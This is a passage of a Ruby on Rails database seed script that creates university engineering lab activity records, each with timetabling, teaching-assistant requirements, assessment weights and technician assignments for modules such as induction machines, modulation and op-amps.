ActivityAssess.where(activity_id: a280.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a280.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a280.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a281 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"114\").first_or_create!(name: \"Individual Construction Project\",\n name_abrv: \"ICP\", archived: false, in_drive: false, user_id: 3)\n at281 = ActivityTimetable.where(activity_id: a281.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 4 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a281.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"ICP\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a281.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students construct an infra-red communication transmitter by soldering a PCB\n Advise students on component choice for desired frequency response (LCR resonant frequency and passive RC filters)\n Troubleshoot problems with students' circuits by using oscilloscopes and multimeters\n Demonstrate soldering and desoldering techniques for students and assist them in correcting circuit construction faults\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a281.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a281.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a281.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a282 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 1)\n at282 = ActivityTimetable.where(activity_id: a282.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a282.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a282.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a282.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a282.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a282.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a283 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 2)\n at283 = ActivityTimetable.where(activity_id: a283.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a283.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a283.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a283.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a283.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a283.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a284 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"116\").first_or_create!(name: \"LED\",\n name_abrv: \"LED\", archived: false, in_drive: false, user_id: 1)\n at284 = ActivityTimetable.where(activity_id: a284.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 7, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after clean room intro - micro measurement\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a284.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"LED\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a284.id).first_or_create!(criteria: \"Basic cleanroom skills.\",\n job_desc:\"Assist Year 1 EEE students to make top contact on GaN LED and then do IV and optical tests using probe station, SMU and optical spectometer.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a284.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a284.id).first_or_create!(cost_per_student: nil, equip_needed: \"8 probe stations, 10 microscope cameras, 2 metallurgical microscopes, 8 PCs with Keysight Quick IV and Motic Images Plus 3 software, 8 SMUs, 4 spectrometers, 2 power meters, 2 scalpels, 2 magnifying lamps, 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a284.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a285 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 1)\n at285 = ActivityTimetable.where(activity_id: a285.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a285.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a285.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a285.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a285.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a285.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a286 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: true, in_drive: false, user_id: 2)\n at286 = ActivityTimetable.where(activity_id: a286.id).first_or_create!(duration: 210, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a286.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a286.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a286.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a286.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a286.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a287 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 5)\n at287 = ActivityTimetable.where(activity_id: a287.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a287.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a287.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a287.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a287.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a287.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a288 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 2)\n at288 = ActivityTimetable.where(activity_id: a288.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a288.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a288.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a288.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a288.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a288.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a289 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 5)\n at289 = ActivityTimetable.where(activity_id: a289.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a289.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a289.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a289.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a289.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a290 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"119\").first_or_create!(name: \"Operational Amplifiers\",\n name_abrv: \"AMP2\", archived: false, in_drive: false, user_id: 5)\n at290 = ActivityTimetable.where(activity_id: a290.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after Amplifiers & Probes\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a290.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a290.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a290.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a290.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a290.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a291 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 3)\n at291 = ActivityTimetable.where(activity_id: a291.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 4, max_week_num: 7, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minutes x 2 sessions. After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a291.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a291.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a291.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a291.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a291.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a292 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 5)\n at292 = ActivityTimetable.where(activity_id: a292.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a292.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a292.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a292.id).first_or_create!(assess_weight: 15.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a292.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a292.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a293 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 1)\n at293 = ActivityTimetable.where(activity_id: a293.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a293.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a293.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a293.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a293.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a293.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a294 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 3)\n at294 = ActivityTimetable.where(activity_id: a294.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a294.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a294.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a294.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a294.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a294.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a295 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"123\").first_or_create!(name: \"Power Amplifiers\",\n name_abrv: \"AMP3\", archived: false, in_drive: false, user_id: 4)\n at295 = ActivityTimetable.where(activity_id: a295.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must come after Operational Amplifiers (not Op-Amps)\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a295.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a295.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a295.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a295.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a295.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a296 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 2)\n at296 = ActivityTimetable.where(activity_id: a296.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a296.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a296.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a296.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: 